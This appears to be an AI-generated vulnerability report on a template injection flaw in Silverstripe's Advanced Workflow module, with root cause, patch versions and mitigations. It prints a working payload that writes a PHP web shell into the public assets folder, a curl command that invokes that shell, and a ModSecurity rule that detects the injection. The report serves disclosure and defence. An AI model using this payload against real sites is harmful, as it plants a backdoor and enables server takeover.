CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54718

CVE-2026-54718: Remote Code Execution via Advanced Workflow Email Template in Silverstripe

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 27, 2026·4 min read·20 visits

Executive Summary (TL;DR)

An authenticated template injection vulnerability in Silverstripe Advanced Workflow allows high-privileged users to achieve Remote Code Execution via translation tag interpolation.

A Server-Side Template Injection (SSTI) vulnerability in the Silverstripe Advanced Workflow module allows authenticated attackers with workflow authoring permissions to achieve arbitrary code execution. By manipulating the NotifyUsersWorkflowAction.EmailTemplate field, attackers can inject template code that dynamically executes arbitrary PHP commands via the core translation helper interpolation path.

Vulnerability Overview

The Silverstripe Advanced Workflow module provides sequential workflow capabilities for content publishing pipelines. Within this module, the NotifyUsersWorkflowAction class is responsible for sending customized email notifications when specific workflow steps are triggered. This class exposes an EmailTemplate field allowing administrators and content authors to define custom text layouts.\n\nThese layout templates are parsed dynamically using the Silverstripe SSTemplateParser engine. This engine is designed to interpret variables, conditional logic, and translation helpers like <%t %>. However, because the engine compiles templates directly into intermediate executable PHP structures, any lack of isolation during the compilation step introduces a significant attack surface.\n\nThis vulnerability belongs to the Server-Side Template Injection (SSTI) class (CWE-1336). By injecting malicious interpolation patterns within the workflow action configurations, a high-privileged attacker can bypass standard template safety constraints and force the template parser to execute system-level commands.

Root Cause Analysis

The root cause of the vulnerability lies in how the translation helper tag <%t %> processes default string arguments inside the SSTemplateParser class. The default helper syntax permits authors to set fallback values in translation tags, which are typically wrapped in double quotes. To support dynamic localization values, the engine allowed variable interpolation inside these double-quoted default fallback strings.\n\nWhen the template engine evaluates an interpolation marker like {$Variable}, the parser translates the nested block into compiled PHP operations. The parser failed to validate that the components inside the brackets were restricted to safe variable symbols. Instead, it evaluated the string elements recursively, transforming raw function calls inside the brackets into executable expressions.\n\nBecause the workflow execution sequence compiles these templates directly onto the server before evaluation, an attacker can leverage this path to execute arbitrary PHP actions. By calling native functions like file_put_contents within the interpolation delimiters, the system compiles the command directly into the cached template file, triggering execution automatically whenever the workflow phase is processed.

Code Analysis

Analyzing the patch environment exposes how the framework requirements were modified to resolve the flaw. Rather than modifying the Advanced Workflow code directly, the remediation locks the framework core to enforce strict parsing restrictions inside translation blocks.\n\nIn the vulnerable structure, the parser allowed nested functions to execute because it recursively resolved interpolation expressions before sanitizing the translation helper syntax. The following payload illustrates the execution syntax:\n\nhtml\n<%t VulnerableTag \"{$('file_put_contents'('assets/rce.php', '<?php system($_GET[\\'cmd\\']); ?>'))}\" %>\n\n\nTo resolve this, the framework introduced constraints in the core parser to prevent arbitrary method calls within localization strings. In Silverstripe modern environments (v6), this change was pushed into the silverstripe/template-engine package version 1.0.1:\n\njson\n// Required engine update\n{\n \"require\": {\n \"silverstripe/template-engine\": \"^1.0.1\"\n }\n}\n\n\nFor Silverstripe v5 deployments, equivalent security checks were integrated into the core framework package version 5.4.30:\n\njson\n// Required framework update for v5 compatibility\n{\n \"require\": {\n \"silverstripe/framework\": \"^5.4.30\"\n }\n}\n

Exploitation Methodology

Exploitation of CVE-2026-54718 requires authenticated credentials with privileges to create or modify advanced workflows. The attacker locates the administrative panel and navigates to the Advanced Workflow setup. From there, they insert a payload into the EmailTemplate field of a NotifyUsersWorkflowAction instance.\n\nThe template execution pipeline is mapped in the following sequence:\n\nmermaid\ngraph LR\n A[\"Attacker Workflow Configuration\"] --> B[\"NotifyUsersWorkflowAction.EmailTemplate\"]\n B --> C[\"SSTemplateParser Processing\"]\n C --> D[\"Translation Tag <%t %> Parsing\"]\n D --> E[\"Unchecked Dynamic Interpolation\"]\n E --> F[\"Server-Side PHP Evaluation (RCE)\"]\n\n\nDuring execution, the template payload writes a custom PHP web shell script into the publicly accessible /assets/ directory. The attacker can then issue shell operations remotely by calling the newly created script directly:\n\nbash\ncurl -s \"https://target-silverstripe-site.com/assets/rce.php?cmd=id\"\n\n\nThis payload effectively establishes persistent access and bypasses standard authorization boundaries to access backend infrastructure parameters.

Remediation & Mitigation

The definitive mitigation for this vulnerability is upgrading the underlying dependencies of the Silverstripe application. This ensures that the dynamic parser is restricted from compiling function calls within translation blocks.\n\nRun the following command within your application root to fetch safe versions of the framework packages:\n\nbash\ncomposer update silverstripe/framework silverstripe/template-engine symbiote/silverstripe-advancedworkflow\n\n\nFor environments where dependencies cannot be updated immediately, implement the following virtual mitigations:\n\n1. Restrict write permissions on the public /assets/ directories, preventing the execution of dynamic PHP code within these paths.\n\n2. Monitor database changes on the NotifyUsersWorkflowAction tables for configurations containing <%t tags paired with complex bracket notation {$.\n\n3. Deploy the following ModSecurity rule to detect incoming template injection attempts on workflow editing endpoints:\n\nnginx\nSecRule REQUEST_BODY \"(?i)<%t\\s+[\\w\\-]+\\s+\\\".*\\{\\$.*\\}\\\".*%>\" \\\n \"id:4000185,\\\n phase:2,\\\n deny,\\\n status:403,\\\n log,\\\n msg:'SSTI Attempt via Silverstripe Translation Helper Injection'\"\n

Fix Analysis (2)

Technical Appendix

CVSS Score
7.2/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Silverstripe CMS installations utilizing Advanced Workflow module (< 6.4.5, 7.x < 7.1.3, 7.2.x < 7.2.1)

Affected Versions Detail

Product
Affected Versions
Fixed Version
silverstripe-advancedworkflow
symbiote
< 6.4.56.4.5
silverstripe-advancedworkflow
symbiote
>= 7.0.0, < 7.1.37.1.3
silverstripe-advancedworkflow
symbiote
>= 7.2.0, < 7.2.17.2.1
AttributeDetail
CWE IDCWE-1336
Attack VectorNetwork (AV:N)
CVSS Score7.2 (High)
EPSS ScoreN/A (Recently Disclosed)
ImpactRemote Code Execution (RCE)
Exploit StatusPoC Available in Regression Tests
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.003Command and Scripting Interpreter: Windows Command Shell
Execution
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-1336
Improper Neutralization of Special Elements Used in a Template Engine

The Silverstripe template parser failed to neutralize dynamic expression markers inside translation tag default values, permitting arbitrary PHP function execution.

Vulnerability Timeline

Developer pushes fixes to advancedworkflow module containing regression tests for SSTI
2026-06-24
GitHub Security Advisory GHSA-39mm-rwm3-29jp Published
2026-08-27
CVE-2026-54718 Published to CVE Registry
2026-08-27

References & Sources

  • [1]GitHub Security Advisory GHSA-39mm-rwm3-29jp
  • [2]Pull Request #629
  • [3]Pull Request #630
  • [4]Silverstripe Core Security Bulletin CVE-2026-54718

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•8 minutes ago•GHSA-78G4-XQWV-Q3G8
7.5

GHSA-78G4-XQWV-Q3G8: Heap-Based Buffer Overflow in Pillow (libopenjp2)

A heap-based buffer overflow vulnerability in Pillow PyPI binary wheels (versions 11.1.0 to 12.x) allows remote code execution or application crash via crafted JPEG 2000 files processed by the bundled libopenjp2 library.

Alon Barad
Alon Barad
0 views•4 min read
•about 1 hour ago•CVE-2026-109618
9.8

CVE-2026-109618: Remote Code Execution in PHP Core via Out-of-Memory longjmp() Uninitialized Memory Access

CVE-2026-109618 (dubbed PHP2Shell) is a critical vulnerability in the PHP engine core resulting from improper out-of-memory exception handling via longjmp(). When request allocation fails mid-processing, non-local control flow bypasses cleanup procedures, leaving memory structures uninitialized or in a use-after-free state during request shutdown.

Amit Schendel
Amit Schendel
7 views•5 min read
•about 1 hour ago•CVE-2026-109619
9.2

CVE-2026-109619: Remote Code Execution in PHP Core via Stale Global State Memory Corruption (PHP2Shell)

CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.

Alon Barad
Alon Barad
6 views•6 min read
•about 1 hour ago•CVE-2026-113721
4.5

CVE-2026-113721: Unsafe Link Resolution in virtualenv File Generation

In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.

Amit Schendel
Amit Schendel
3 views•5 min read
•9 days ago•CVE-2026-87697
8.8

CVE-2026-87697: Untrusted Deserialization in .NET PresentationCore Clipboard Handling

A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.

Alon Barad
Alon Barad
31 views•5 min read
•10 days ago•CVE-2026-70007
8.8

CVE-2026-70007: Out-of-Bounds Write Vulnerability in .NET Framework and WPF Subsystem

An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.

Amit Schendel
Amit Schendel
19 views•6 min read